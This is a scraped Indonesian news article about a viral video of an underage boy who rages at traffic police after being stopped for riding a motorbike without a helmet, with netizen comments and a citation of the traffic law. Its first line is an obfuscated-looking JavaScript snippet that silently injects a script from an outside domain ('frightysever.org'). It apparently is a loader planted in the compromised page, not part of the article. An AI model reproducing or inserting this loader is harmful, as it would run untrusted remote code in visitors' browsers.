(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, KALIMANTAN BARAT – Viral di media sosial, aksi seorang bocah meradang di hadapan polisi karena tak terima ditilang. Bocah itu sampai mencampakkan sepeda motor yang dikendarainya
Kejadian bermula saat sang bocah berboncengan dengan seorang temannya yang juga masih di bawah umur.
Mereka nekat mengendarai sepeda motor di jalanan tanpa memakai helm. Melihat hal itu, seorang polisi lalu lintas berusaha menghentikan.
Namun tak disangka, saat berusaha disetop bocah tadi mengamuk tak karuan. Ia terdengar meraung, tak terima ditilang.
Saking kesalnya, bocah itu membiarkan sepeda motornya melaju tanpa distandar. Alhasil kendaraan itu hampir terjatuh ke aspal sebelum akhirnya bisa diselamatkan oleh polisi.
Meski begitu, bocah itu tetap merengek kesal dengan aksi petugas. Sedangkan teman yang diboncengnya hanya bisa terdiam.
Sejurus kemudian, bocah itu mengikuti polisi yang mendorong sepeda motornya ke tepi jalan.
Video bocah ngambek saat ditilang salah satunya dibagikan oleh akun Instagram @ndorobei, Sabtu (5/12/2020).
Dari keterangan sang pengunggah, peristiwa itu terjadi di sekitar Polsek Rapin Utara, Kalimantan Selatan, Sabtu sore.
Orang-orang di sekitar jalanan yang melihat kejadian tersebut pun hanya bisa tertawa.
Begitu juga dengan warganet yang menyaksikan video. Tak sedikit yang merasa tak habis pikir dengan ulah bocah di bawah umur nekat berkendara di jalanan tapi ngegas saat ditilang.
“Gak habis pikir saya kenapa orang tua mengizinkan anak belum cukup umur untuk mengendarai sepeda motor,” tulis @abang**.
“Syndrome apa sih kalo ditilang itu ngamuk terus ngerusak motor,” tulis @fathu***.
“Lu yang salah lu yang marah,” sentiil @dza**.
Merujuk Undang-undang No 22 tahun 2009 tentang Lalu Lintas dan Angkutan Jalan sudah jelas, orang yang diizinkan mengendarai motor atau mobil harus berusia minimal 17 tahun.
Dalam Pasal 281 diterangkan, “Setiap orang yang mengemudikan Kendaraan Bermotor di Jalan yang tidak memiliki Surat Izin Mengemudi sebagaimana dimaksud dalam Pasal 77 ayat (1) dipidana dengan pidana kurungan paling lama 4 (empat) bulan atau denda paling banyak Rp1.000.000,00 (satu juta rupiah). (Suara.com)
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi didampingi Pj Ketua TP PKK… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More
KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More
PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More
This website uses cookies.